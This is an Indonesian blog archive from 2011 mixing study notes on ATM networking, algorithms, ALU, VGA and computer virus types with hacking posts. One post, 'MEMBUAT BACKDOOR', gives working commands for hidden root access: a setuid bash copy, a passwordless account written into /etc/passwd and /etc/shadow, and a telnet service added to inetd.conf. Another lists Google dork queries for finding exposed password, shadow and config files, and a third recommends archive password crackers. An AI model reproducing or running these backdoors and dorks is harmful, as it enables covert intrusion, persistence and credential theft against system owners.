OTAK KOSONG

ASYNCHRONOUS TRANSFER MODE

2011-09-29T19:53:00.000-07:00

ASYNCHRONOUS TRANSFERMODE (ATM)

1988 : industritelekomunkasi mulai mengembangkan sebuah konsep yang disebut BroadbandIntegrated Service Digital Network- atau B-ISDN.

B-ISDN : digambarkan sebagai carrier service (layanan pembawa)yang mampu menyediakan komunikasi ke end-user (ujung pemakai) dengan kecepatantinggi dan dalam sistem yang tenintegrasi.

Asynchronus Transfer Mode (.ATM) :

Teknologi yang dipilih untuk membawa layanan B-ISDN

PENGERTIAN UMUM

ATM adalah standard ITU-T untuk relay sel di mana bermacam-macam tipe informasi, seperti : video, suara atau data dibawa dalam bentuk sel-sel berukuran kecil
Sel-sel tersebut ditransfer melalui relay-relay secara asinkron.
Sistim sinkronisasi diberikan hanya pada masing-masing sel

Beberapa Keuntungan memakai ATM

1. ATM mampumenangani semua jenis trafik komunikasi (voice, data, image, video, suaradengan kecepatan tinggi, multimedia dan sebagainya) dalam satu saluran dandengan kecepatan tinggi)

2. ATM dapatdigunakan dalam Local Area Network dan Wide Area Network (WAN

3. Dalampembangunan LAN, penggunaan ATM dapat menghemat biaya karena pemakai yang akanmenghubungkan dirinya dengan sistern ATM LAN dapat menggunakan adapter untukmenyediakan kecepatan transmisi sesuai dengan bandwidth yang merekabutuhkan.

KONSEP DASAR ATM

ATM : suatu mode transfer yang berorientasi pada bentuk paket yang spesifik, dengan panjang tetap, berdasarkan system Asynchronous Time Division Multiplexing (ATDM), menggunakan format dengan ukuran tertentu yang disebut sel.
Informasi yang terdapat di dalam sel ditransmisikan dalam jaringan setelah sebelumnya ditambahkan header di awal sel yang berfungsi sebagai routing dan kontrol sel.
ATM bersifat service independence : semua service (suara, data serta gambar/citra) dapat ditransmisikan melalui ATM dengan cara penetapan beberapa tipe ATM Adaptation Layer (AAL)
AAL : berfungsi mengubah format informasi yang asli ke dalam format ATM sehingga dapat ditransmisikan.

SEL-SEL ATM

Sel-sel ATM terdiri dari : 5 byte HEADER dan 48 byte INFORMASI
UNI cell ATM terdiri dari : GFC, VPI, VCI, PT, CLP, HEC dan informasi
NNI cell ATM terdiri dari : VPI, VCI, PT, CLP, HEC dan informasi
GFC (Generic Flow Control) : digunakan untuk mengontrol aliran sel dari user-jaringan
VPI (Virtual Path Identifier) : merupakan bidang routing untuk jaringan 8 bit untuk sel UNI dan 12 bit untuk sel NNI
VCI (Virtual Channel Identifier) : digunakan untuk routing ke dan dari pemakai ujung
PT (Payload Type) : menunjukkan jenis-jenis informasi
CLP (Cell Loss Priority) : menyediakan bimbingan kepada jaringan saat terjadi kemacetan

nilai “0” = sel dengan prioritas tinggi, tidak dapat dibuang

nilai “1” = sel dengan prioritas rendah, dapat dibuang jikaterjadi kemacetan

HEC (Header Error Control) : digunakan untuk mendeteksi kesalahan. dan membetulkan kode sehingga memberikan perlindungan terhadap kesalahan dalam jaringan

Parameter Transfer Informasi

1. BER (Bit Error Rate) : rasio antara bit yang salah dalaminformasi dengan jumlah total bit yang ditransmisikan.

2. CLR (Cell Loss Ratio) : rasio antara jumlah sel yang hilangdengan jumlah total sel yang dikirimkan dalam interval waktu tertentu

3. CIR (Cell Insertion Ratio) : jumlah sel yang ditransmisikan ketujuan yang salah dengan jumlah total sel yang ditransmisikan

4. CTD (Cell Transfer Delay) : didefinisikan sebagai waktu antarabit pertama dari sel yang meninggalkan point referensi dengan waktu dimana bitterakhir sel sampal di titik referensi kedua.

ARSITEKTUR PROTOCOL

Physical Layer : melibatkan spesifikasi media transmisi dan skema pengkodean sinyal. Kecepatan data pada Physical Layer : 25,6 MBps s/d 622,08 MBps
ATM Layer : dipergunakan untuk berbagai bentuk layanan dan kemampuan transfer data (menentukan transmisi data dalam ukuran paket tertentu)
ATM Adaptation Layer : memetakan informasi dari Higher layer ke dalam sel-sel ATM untuk diangkut ke seluruh jaringan dan sebaliknya mengumpulkan informasi dari sel-sel ATM untuk dikirim ke Higher Layer

KONEKSI LOGIKA ATM

Koneksi Logika ATM disebut juga Virtual Channel Connection (VCC) : Prinsipnya sama dengan Virtual Circuit pada protocol X.25 (utk komunikasi data)
VCC merupakan unit dasar dari Switching dalam sebuah jaringan ATM
VCC digunakan untuk pertukaran jaringan-user (untuk pensinyalan kontrol) dan jaringan-jaringan (untuk manajemen jaringan dan routing)
Sekumpulan VCC membentuk ssebuah bundel yang disebut Virtual Path Connection (VPC)
Prinsipnya sama dengan Virtual Circuit pada protocol X.25 (utk komunikasi data) Jika VCC digunakan untuk koneksi individu, maka VPC merupakan koneksi kelompok

Penggunaan Virtual Channel Connection :

1. User-User : digunakan untuk membawa data user dari ujung keujung

2. User- jaringan : digunakan untuk pensinyalan kontrol user kejaringan

3. Jaringan-jaringan : digunakan untuk manajemen lalu lintasjaringan serta

Fungsi-fungsi routing

Ada 2 interface yang digunakan di dalam jaringan ATM :

· UNI (User-Network Interface ) : interface yang menghubungkanuser ke switch ATM

· NNI (Network-Network Interface) : interface yang menghubungkanswitch-switch ATM

PERALATAN ATM

Jaringan ATM terdiri dari : switch ATM dan titik ujung ATM
Switch ATM bertanggung jawab untuk transit sel melalui jaringan ATM
Tugas switch ATM : menerima sel dari titik ujung ATM atau switch ATM yang lain, membaca, meng-update informasi header dari sel dan men-switch ke arah tujuan.
Tugas titik ujung ATM : sebagai adapter bagi jaringan ATM. Contoh : workstation, router, LAN switch, video CODEC, Digital Service Unit (DSU)

Kelas-Kelas Pelayanan ATM

Constant bit rate (CBR) : layanan untuk mendukung aplikasi yang membutuhkan kecepatan transmisi yang bisa dijamin konsistensinva sepanjang hubungan berlangsung (highly predictable transmission rate). CBR menjaga hubungan sinkronisasi antar pengguna akhir selama hubungan berlangsung. CBR ditargetkan untuk mendukung aplikasi layanan suara (telephony) yang toleransi terhadap delay jaringannya sangat ketat
Variable bit Rate (VBR) : kategori layanan untuk aplikasi yang kurang sensitif terhadapvariasi kecepatan.
Variabel Bit Rate – Non Real Time (VBR-RT) : aplikasi diasumsikan mempunyai ketergantungan relatif tinggi terhadap tetapi agak longgar terhadap variasi kecepatan. Contoh : Video Conferencing
Available Bit Rate (ABR) : aplikasi diasumsikan mempunyai toleransi yang lebih longgar terhadap delay jaringan sehingga tidak membutuhkan timing relationship terlalu ketat antar sisi penggunanya. Contoh : aplikasi transaksi antar Bank
Unspecified Bit Rate (UBR) : Layanan UBR dirancang untuk aplikasi data yang ingin menggunakan kapasitas jaringan yang sudah tidak dipakai lagi oleh kelas layanan yang lain dan tidak sensitif terhadap cell loss atau delay. Contoh : network monitoring traffic

ALGORITMA

2011-09-29T10:12:00.000-07:00

Perencanaan dan perancangan program komputer juga disebut pembuatan algoritma. Secara umum, algoritma: "kumpulan urutan perintah yang menentukan operasi-operasi tertentu yang diperlukan untuk menyelesaikan suatu masalah ataupun mengerjakansuatu tugas". Bila data yang digunakan benar, maka algoritma akan selalu berhenti dengan memberikan hasil yang benar pula. Pembuatan algoritma harus selalu dikaitkan dengan :

Kebenaran algoritma, yakni bila program selesai maka hasilnya juga benar.
Kompleksitas - lama dan jumlah - waktu proses dan penggunaan memori.

Algoritma - dan tentu program yang baik, bercirikan :

Tepat sasaran: memenuhi spesifikasi pekerjaan dan bekerja sesuai tujuan
Flexible dan portable: - Flexible untuk dikembangkan lebih lanjut - Portable untuk digunakan pada berbagai sistem dan mesin
Bersih dari kesalahan sistem ataupun lojik
Murah
Didokumentasi dengan baik untuk pengoperasian, pemeliharaan dan pengembangan.
Algoritma merupakan pemberian (description) pelaksanaan suatu proses.Sebuah proses dikerjakan oleh pemroses mengikuti algoritma yang sudah dibuat. Algoritma merupakan urutan langkah instruksi yang logis. Setiap langkahinstruksi mengerjakan suatu tindakan aksi. Bila suatu aksi dilaksanakan, maka operasi atau sejumlah operasi yang bersesuaian dengan aksi itu dikerjakan oleh pemroses.

Hasil atau pengaruh suatu aksi diamati dengan membandingkan keadaan sebelum (t0) dan sesudah suatu aksi dikerjakan (t1).

t0: kumpulan data ke 1 .. N belum terurut membesar

Algoritma PENGURUTAN DATA

t1: kumpulan data ke 1 .. N terurut membesar

Aturan Penulisan Teks Algoritma

Tidak ada notasi yang baku dalam penulisan teks algoritma. Algoritma bukanlah program yang harus mengikuti aturan-aturan tertentu. Meski demikian, algoritma dituliskan mendekati gaya bahasa pemrograman umumnya. Misal, tulis nilai X dan Y, dituliskan dalam algoritma sebagai write(X,Y). Perhatikan dalam notasi write(X,Y) ini hanya memerintahkan penyajian nilai X ke piranti keluaran (output). Dalam notasi itu juga tidak memasalahkan format ataupun bentuk-bentuk tampilan lainnya, seperti dicetak dalam satu baris X dan Y, pemakaian pemisah antara X dan Y menggunakan koma atau spasi. Hal-hal yang bersifat teknis ini baru dipikirkan waktu penulisan program. Algoritma adalah bebas bahasa pemrograman.

Teks Algoritma

Mengikuti alur konsep pemrograman prosedural, suatu teks algoritma disusun dalam tiga bagian, yaitu:

Bagian kepala algoritma,
Bagian deklarasi, dan
Bagian deskripsi algoritma.

Setiap bagian disertai dengan penjelasan atau dokumentasi tentang maksud pembuatan teks. Bagian penjelasan diawali dan diakhiri dengan simbol { dan }.

Algoritma NAMA_ALGORITMA { Penjelasan tentang algoritma yang menguraikan secara singkat hal-hal yang dilakukan oleh algoritma }
DEKLARASI { Semua nama yang digunakan, meliputi nama-nama: tipe, konstanta, variabel. Juga nama sub-program dinyatkan di sini }
DESKRIPSI { Semua langkah atau aksi algoritma dituliskan di sini }

Contoh:

Kepala algoritma: Algoritma Luas_Lingkaran { Menghitung luas lingkaran dengan ukuran jejari tertentu. Algoritma menerima masukan jejari lingkaran, menghitung luasnya, dan menyajikan hasilnya ke piranti keluaran } Perhatian, dalam menulis nama-nama dalam algoritma harus mempunyai makna yang mencerminkan proses, sifat atau identitas lainnya yang melekat dengan suatu proses, tipe, konstanta, variabel, sub-program dan lain-lainnya.Nama-nama yang bermakna disebut mnemonic.

ARITHMETIC LOGIC UNIT (ALU)

2011-09-29T09:53:00.000-07:00

Pengertian Arithmetic Logic Unic

Arithmetic Logic Unix merupakan bagian pengolah bilangan dari sebuah komputer. Di dalam operasi aritmetika ini sendiri terdiri dari berbagai macam operasi diantaranya adalah operasi penjumlahan, pengurangan, perkalian, dan pembagian. Mendesain ALU juga memiliki cara yang hampir sama dengan mendesain enkoder, dekoder, multiplexer, dan demultiplexer ALU terdiri dari register-register untuk menyimpan informasi.Operasi arithmatic dan logic terbagi dalam 4 kelas, yaitu decimal arthmatic, fixed point arithmatic, floating point arithmatic, dan logic operation.

Arithmetic Logical Unit merupakan unit penalaran secara logic. ALU ini adalah merupakan Sirkuit CPU berkecepatan tinggi yang bertugas menghitung dan membandingkan. Angka-angka dikirim dari memori ke ALU untuk dikalkulasi dan kemudian dikirim kembali ke memori. Jika CPU diasumsikan sebagai otaknya komputer, maka ada suatu alat lain di dalam CPU tersebut yang kenal dengan nama Arithmetic Logical Unit (ALU), ALU inilah yang berfikir untuk menjalankan perintah yang diberikan kepada CPU tersebut.

ALU sendiri merupakan suatu kesatuan alat yang terdiri dari berbagai komponen perangkat elektronika termasuk di dalamnya sekelompok transistor, yang dikenal dengan nama logic gate, dimana logic gate ini berfungsi untuk melaksanakan perintah dasar matematika dan operasi logika. Kumpulan susunan dari logic gate inilah yang dapat melakukan perintah perhitungan matematika yang lebih komplit seperti perintah “add” untuk menambahkan bilangan, atau “devide” atau pembagian dari suatu bilangan. Selain perintah matematika yang lebih komplit, kumpulan dari logic gate ini juga mampu untuk melaksanakan perintah yang berhubungan dengan logika, seperti hasil perbandingan dua buah bilangan. Instruksi yang dapat dilaksanakan oleh ALU disebut dengan instruction set.

Fungsi Arithmetic Logic Unix

Melakukan suatu proses data yang berbentuk angka dan logika, seperti data matematika dan statistika
Melakukan keputusan dari operasi sesuai dengan instruksi program yaitu operasi logika (logical operation).
Melakukan perhitungan aritmatika (matematika) yang terjadi sesuai dengan instruksi program
Membantu Control Unit saat melakukan perhitungan aritmatika (ADD, SUB) dan logika (AND, OR, XOR, SHL, SHR)

Gambarfungsi ALU dalam Stuktur Dasar Sistem Komputer

MEMBONGKAR PASSWORD RAR.

2011-09-28T11:00:00.000-07:00

Mungkin anda pernah mendownload suatu file dan ternyata file tersebut berformat rar. atau zip.atau anda mendapatkan bocoran soal UTS dari dosen anda dan ternyata file tersebut telah diproteksi oleh sebuah password.Jangan berkecil hati mungkin software ini bisa membantu anda untuk membongkar file tersebut.

Setiap aplikasi memiliki fungsi yangberbeda-beda sesuai dengan tipe file yang didukung. Agar lebih mudah, saya akanmengelompokkannya di bawah ini.

Untuk File RAR

RAR Pass Finder, aplikasi freeware ini adalah aplikasi portable, artinya aplikasi ini dapat langsung digunakan tanpa memerlukan proses instalasi. Tampilannya cukup sederhana sehingga orang awam sekalipun dapat menggunakannya. Hanya saja, sayangnya bahasa yang digunakan pada aplikasi ini adalah bahasa Jerman. Agar lebih jelas, saya akan menjelaskan cara penggunaannya. Untuk memulai menjebol password, klik tombol Rar-Archiv atau Anda juga bisa drag dan drop file RAR yang diproteksi ke aplikasi tersebut. Menu Passwortliste digunakan untuk menambahkan data password agar proses dapat berjalan lebih efektif.
RAR Password Cracker, alternatif aplikasi lain yang dapat digunakan untuk menjebol password RAR. Sayangnya aplikasi ini merupakan aplikasi shareware tetapi versi freeware-nya memungkinkan kita untuk menjebol password 2 file RAR dalam 1 waktu. Tampilannya juga cukup sederhana.

Untuk File ZIP

ZIP Password Recovery, aplikasi ini dapat digunakan untuk menjebol password ZIP. Untuk menggunakan aplikasi ini, kita harus melakukan registrasi karena bila kita tidak melakukan registrasi maka kita hanya dapat menggunakan aplikasi ini selama 60 hari.

Saya hanya menemukan 1 aplikasiuntuk menjebol password ZIP karena berdasarkan pengamatan di dunia maya, hanyaini yang terbaik dan terbukti dapat menjebol password ZIP. Anda pun juga dapatmen-download dan memasukkan Password Dictionaries List agar proses dapat berjalan lebih efektif. Perlu diketahui bahwa aplikasi diatas hanyalah alat bantu untuk memasukkan password perkiraan yang telah kitabuat sebelumnya agar kita tidak perlu lagi mengetiknya satu persatu

PENGERTIAN VGA (VIDEO GRAPHICS ADAPTER)

2011-09-28T09:54:00.000-07:00

VGA, singkatan dari Video Graphics Adapter, adalah standar tampilan komputer analog yang dipasarkan pertama kali oleh IBM pada tahun 1987. Walaupun standar VGA sudah tidak lagi digunakan karena sudah diganti oleh standar yang lebih baru, VGA masih diimplementasikan pada Pocket PC. VGA merupakan standar grafis terakhir yang diikuti oleh mayoritas pabrik pembuat kartu grafis komputer. Tampilan Windows sampai sekarang masih menggunakan modus VGA karena didukung oleh banyak produsen monitor dan kartu grafis.

Istilah VGA juga sering digunakan untuk mengacu kepada resolusi layar berukuran 640×480, apa pun pembuat perangkat keras kartu grafisnya. Kartu VGA berguna untuk menerjemahkan keluaran komputer ke monitor. Untuk proses desain grafis atau bermain permainan video, diperlukan kartu grafis yang berdaya tinggi. Produsen kartu grafis yang terkenal antara lain ATI dan nVidia.

Selain itu, VGA juga dapat mengacu kepada konektor VGA 15-pin yang masih digunakan secara luas untuk mengantarkan sinyal video analog ke monitor. Standar VGA secara resmi digantikan oleh standar XGA dari IBM, tetapi nyatanya VGA justru digantikan oleh Super VGA. VGA lebih populer digunakan pada mobile selular atau yang lebih dikenal hp, hardware ini sendiri dimaksudkan sebgai susunan pada adapter karena itu sebuah impletasi dari single chip (ASIC), dipasangkan dengan Motorola 6845 dan puluhan chip yang berbeda.

TRICK MENCARI PADA GOOGLE

2011-09-27T12:51:00.000-07:00

Padakesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untukmendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasitersebut tidak terlihat melalui metode pencarian biasa. Artikel ini berdasarkanpada FAQ dan diskusi pada milis situs keamanan jaringan komputerhttp://bugtraq.org dan http://insecure.org tentang metode pengumpulan informasiberkaitan dengan aktifitas webhacking .
Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkaninformasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak aksesyang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasarioleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuktujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialahuntuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuanyang baik dan bermanfaat.
Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akandijelaskan pengertian dan penggunaan dari tiap – tiap perintah untukmendapatkan informasi tersembunyi dan sangat penting.

"Intitle:" ialah sintaks perintah untuk membatasi pencarian yang hanyamenghasilkan judul yang mengandung informasi pada topik yang
dimaksud. Sebagai contoh pada pencarian, “intitle:
password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yangmengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .
Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaksallintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian“allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utamajudul yaitu “admin” dan “mdb”.

“ inurl:”ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semuaURL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contohpencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkansemua URL yang hanya mengandung informasi tentang “database mdb “.
Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarianutama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut.
Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkanURL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miringslash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencariGoogle.

“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasiberdasarkan pada suatu situs atau domain tertentu. Sebagai contoh padapencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarianakan mencari topic tentang waveguide pada semua halaman yang tersedia padadomain itb.ac.id.

“cache:” akanmenunjukkan daftar web yang telah masuk kedalam indeks database Google. Sebagaicontoh:
“cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan padaGoogle untuk page deffcon.org

“filetype:” ialah sintaks perintah pada Google untuk pencarian data padainternet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contohpada pencarian : “filetype:doc site:go.id confidental” ( tanpa tanda kutip).Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domaingo.id yang berisi informasi “confidential”.

“link:” ialahsintaks perintah pada Google yang akan menunjukkan daftar list webpages yangmemiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com”akan menunjuukan daftar webpage yang memiliki point link pada pageSecurityFocus.

“related:”sintaks ini akan memberikan daftar web pages yang serupa dengan web page yangdi indikasikan.
Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftarweb page yang serupa dengan homepage Securityfocus.

“intext:”sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah inimengabaikan link atau URL dan judul halaman. Sebagai contoh :
“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada webpage yang memiliki keyword yang memiliki keyword admin.

Beberapa query sintaks diatas akan sangat membantu dalam pencarian data daninformasi lebih detail.
Google dapat menjadi mesin pencari untuk menggali informasi tertentu danrahasia, informasi yang tidak diperkirakan yang dapat memberitahukan sisi lemahsuatu sistem. Hal tersebut yang dimanfaatkan oleh sebagian individu untukmelakukan penetrasi suatu server atau sistem informasi .

Sintaks “Indexof ” dapat digunakan untuk mendapatkan situs yang menampilkan indeks browsingdirektori.
Webserver dengan indeks browsing yang dapat diakses, berarti siapa saja dapatmelakukan akses pada direktori webserver, seperti layaknya dapat dilakukan padalokal direktori pada umumnya.
Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untukmendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapatdiakses.. Hal tersebut merupakan sumber informasi yang sederhana dapatdiperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yangsangat penting. Informasi tersebut dapat saja berupa password akses atau datatransaksi online dan hal yang sangat penting lainnya.
Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untukmendapatkan informasi yang penting dan sensitive sifatnya.
ex :
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
"Index of/admin.asp
"Index of/login.asp

Mencari sistem atau server yang vulnerable menggunakan sintaks “inurl:” atau“allinurl:”

1. Menggunakansintaks “allinurl:winnt/system32/” (dengan tanda petik ) akan menampilkandaftar semua link pada server yang memberikan akses pada direktori yangterlarang seperti “system32”. Terkadang akan didapat akses pada cmd.exe padadirektori “system32” yang memungkinkan seseorang untuk mengambil alih kendalisistem pada server tersebut.

2. Menggunakan “allinurl:wwwboard/passwd.txt” ( dengan tanda petik ) akanmenampilkan daftar semua link pada server yang memiliki kelemahan pada“wwwboard Password”. Pembahasan lebih lanjut tentang vulnerability “wwwboardPassword” dapat dilihat pada site keamanan jaringan sepertihttp://www.securityfocus.com atau http://www.securitytracker.com

3. Menggunakan sintaks “inurl: bash history” (dengan tanda petik ) akan menampilkandaftar link pada server yang memberikan akses pada file “bash history” melaluiweb. File tersebut merupakan command history file yang mengandung daftarperintah yang dieksekusi oleh administrator, yang terkadang menyangkutinformasi sensitive seperti password sistem. Seringkali password pada sistemtelah dienkripsi, untuk mendapatkan password aslinya bentuk yang dienkripsi iniharus didekripsi menggunakan program password cracker. Lama waktu untukmendapatkan hasil dekripsi tergantung dari keandalan program dan banyaknyakarakter yang terenkripsi.

4. Menggunakan “inurl:config.txt” (dengan tanda petik) akan menampilkan daftarsemua link pada server yang memberikan akses pada file “config.txt. File iniberisi informasi penting termasuk hash value dari password administrator danproses autentifikasi dari suatu database.

Sintaks“inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnyaseperti pada daftar dibawah ini :

Inurl:/cgi-bin/cart32.exe
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exeallinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
allinurl:/privmsg.php
allinurl:/privmsg.php
inurl:cgi-bin/go.cgi?go=*
allinurl:.cgi?page=*.txt
allinurul:/modules/My_eGallery
Mencari suatu sistem atau server yang memiliki kelemahan dengan sintaks“intitle:”
atau “allintitle:”

1. Menggunakanallintitle: "index of /root” ( tanpa tanda kutip ) akan menampilkan
Daftar link pada webserver yang memberikan akses pada direktori yang terlarangseperti direktori root.

2. Menggunakan allintitle: "index of /admin” ( tanpa tanda kutip ) akanmenampilkan link pada site yang memiliki indeks browsing yang dapat diaksesuntuk direktori terlarang seperti direktori “admin”.

Penggunaanlain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengansintaks lainnya antara lain :

intitle:"Indexof" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle:*.php?filename=*
allintitle:*.php?page=*
allintitle:*.php?logon=*

Penggunaan dankombinasi pada sintaks tidak hanya terbatas pada contoh paparan diatas. Masihbanyak lagi kombinasi dari sintaks sintaks dengan berbagai kata kunci yangdapat digunakan. Hal tersebut bergantung pada kreativitas dan kemauan untukmencoba. Adabaiknya penggunaan wacana yang telah dipaparkan ini digunakan untuk kepentinganyang tidak menimbulkan kerugian atau kerusakan.
Kelemahan pada suatu sistem atau server yang diketahui ada baiknya dilakukansharing dengan administrator sistem yang bersangkutan sehingga dapat bermanfaatbagi semua pihak. Dikarenakan kemungkinan besar hasil dari pencarian informasidapat memberikan informasi yang sensitive, yang seringkali menyangkut segikeamanan suatu sistem atau server.
Wacana tentang sintaks yang sangat membantu dalam pencarian informasi tersebutakhirnya tergantung pada niat dan tujuan dalam pencarian data. Apakah sungguh sungguhdilakukan untuk kebutuhan pencarian data, mengumpulkan informasi dari suatumesin target penetrasi. Tujuan akhirnya bergantung pada niat individu yangbersangkutan sehingga penulis tidak bertanggung jawab terhadap penyalahgunaandari informasi yang telah dipaparkan. Seperti kata pepatah lama “ resikoditanggung penumpang “.

MEMBUAT BACKDOOR

2011-09-27T12:44:00.001-07:00

Membuat backdoor memang banyak sekali tip dan triknya. Tujuanutama dari backdoor adalah supaya kita mempunyai jalan belakang menuju sasaranyang tentu saja tidak atau susah di ketahui oleh sang pemilik. Kalau diketahuioleh pemilik namanya tentu saja bukan lagi backdoor bukan ? Kini perhatikanbaik-baik langkah-langkah berikut ini dan jika anda ada kritik silahkanlayangkan saja kritik anda.

Local Backdoor
cd /bin
cp bash load
chgrp root load
chmod +s load

Type load in console to get root access

User Backdoor ( Tanpa Password )
echo test::512:512:4:/:/bin/bash >> /etc/passwd
echo test::11092:0:99999:7:-1:-1:134537332 >>
> /etc/shadow

Contoh:
Red Hat Linux release 6.0 Publisher's Edition
> (Hedwig)
Kernel 2.2.5-15smp on an i686
login: Escuver
[test@xes /]$

Port Backdoor
echo stream tcp nowait root
> /usr/sbin/in.telnetd
in.telnetd >> /etc/inetd.conf
/etc/rc.d/init.d/inet restart

Ketiga Backdoor ini dapat digunakan bersama.Pertama, telnet ke servermenggunakan port backdoor
Kemudian masukan backdoored login(username) Terakhir ketik Load.

JENIS – JENIS VIRUS

2011-09-27T12:43:00.000-07:00

JENIS – JENIS VIRUS
Untuk lebih mempertajam pengetahuan kita tentang virus, Aku akan coba memberikan penjelasan tentang jenis-jenis virus yang sering berkeliaran di dunia cyber.

1.Virus Makro

Jenis Virus ini pasti sudah sangat sering kita dengar.Virus ini ditulis dengan bahasa pemrograman dari suatu aplikasi bukan dengan bahasa pemrograman dari suatu Operating System. Virus ini dapat berjalan apabila aplikasi pembentuknya dapat berjalan dengan baik, maksudnya jika pada komputer mac dapat menjalankan aplikasi word maka virus ini bekerja pada komputer bersistem operasi Mac.

contoh virus:

variant W97M, misal W97M.Panther panjang 1234 bytes, akanmenginfeksi NORMAL.DOT dan menginfeksi dokumen apabila dibuka.
WM.Twno.A;TW panjang 41984 bytes, akan menginfeksi Dokumen Ms.Word yang menggunakan bahasa makro, biasanya berekstensi *.DOT dan *.DOC dll

2.Virus Boot Sector

Virus Boot sector ini sudah umum sekali menyebar.Virus ini dalam menggandakan dirinya akan memindahkan atau menggantikan boot sector asli dengan program booting virus. Sehingga saat terjadi booting maka virus akan di load ke memori dan selanjutnya virus akan mempunyai kemampuan mengendalikan hardware standar

keseluruh drive yang ada dan terhubung kekomputer (ex: floopy, drive lain (ex::monitor, printer dsb) dan dari memori ini pula virus akan menyebar selain drive c).

contoh virus :

varian virus wyx ex: wyx.C(B) menginfeksi boot record dan floopy ; panjang :520 bytes; karakteristik : memory resident dan terenkripsi)
varian V-sign : menginfeksi : Master boot record ; panjang 520 bytes; karakteristik: menetap di memori (memory resident),terenkripsi, dan polymorphic)
Stoned.june 4th/ bloody!: menginfeksi : Master boot record dan floopy; panjang 520 bytes; karakteristik: menetap di memori (memory resident), terenkripsi dan menampilkan pesan"Bloody!june 4th 1989" setelah komputer melakukan booting sebanyak 128 kali

3.Stealth Virus

Virus ini akan menguasai tabel tabel interupt pada DOS yang sering kita kenal dengan "Interrupt interceptor" virus ini berkemampuan untuk mengendalikan instruksi instruksi level DOS dan biasanya mereka tersembunyi sesuai namanya baik secara penuh ataupun ukurannya .

contoh virus:

Yankee.XPEH.4928, menginfeksi file *.COM dan *.EXE ; panjang 4298 bytes; karakteristik: menetap di memori, ukurantersembunyi, memiliki pemicu
WXYC (yang termasuk kategori boot record pun karena masuk kategri stealth dimasukkan pula disini), menginfeksi floopy an motherboot record; panjang 520 bytes; menetap di memori; ukuran dan virus tersembunyi.
Vmem(s): menginfeksi file file *.EXE, *.SYS, dan *.COM ; panjang fie 3275 bytes; karakteristik:menetap di memori, ukuran tersembunyi, di enkripsi.
dll

4.Polymorphic Virus

Virus ini Dirancang buat mengecoh program antivirus,artinya virus ini selalu berusaha agar tidak dikenali oleh antivirus dengan cara selalu merubah rubah strukturnya setiap kali selesai menginfeksi file/program lain.

contoh virus:

Necropolis A/B, menginfeksi file *.EXE dan *.COM; panjang file 1963 bytes; karakteristik: menetap di memori, ukuran dan virus tesembunyi,terenkripsi dan dapat berubah ubah struktur
Nightfall, menginfeksi file *.EXE; panjang file 4554 bytes; karakteristik : menetap di memori, ukuran dan virus tesembunyi,memiliki pemicu, terenkripsidan dapat berubah-ubah struktur
dll

5.Virus File/Program

Virus ini menginfeksi file file yang dapat dieksekusi langsung dari sistem operasi, baik itu file application dari virus ini dapat diketahui dengan berubahnya ukuran file yang diserangnya. (*.EXE), maupun *.COm biasanya juga hasil infeksi

6.Multi Partition Virus

Virus ini merupakan gabungan dariVirus Boot sector dan Virus file: artinya pekerjaan yang dilakukan berakibat dua, yaitu dia dapat menginfeksi file- file *.EXE dan juga menginfeksi Boot Sector.

MEMORY MANAGEMENT

2011-09-27T06:27:00.000-07:00

MemoryManagement

merupakan salah satu hal yang paling penting dalam sebuah sistemoperasi pada sebuah computer.

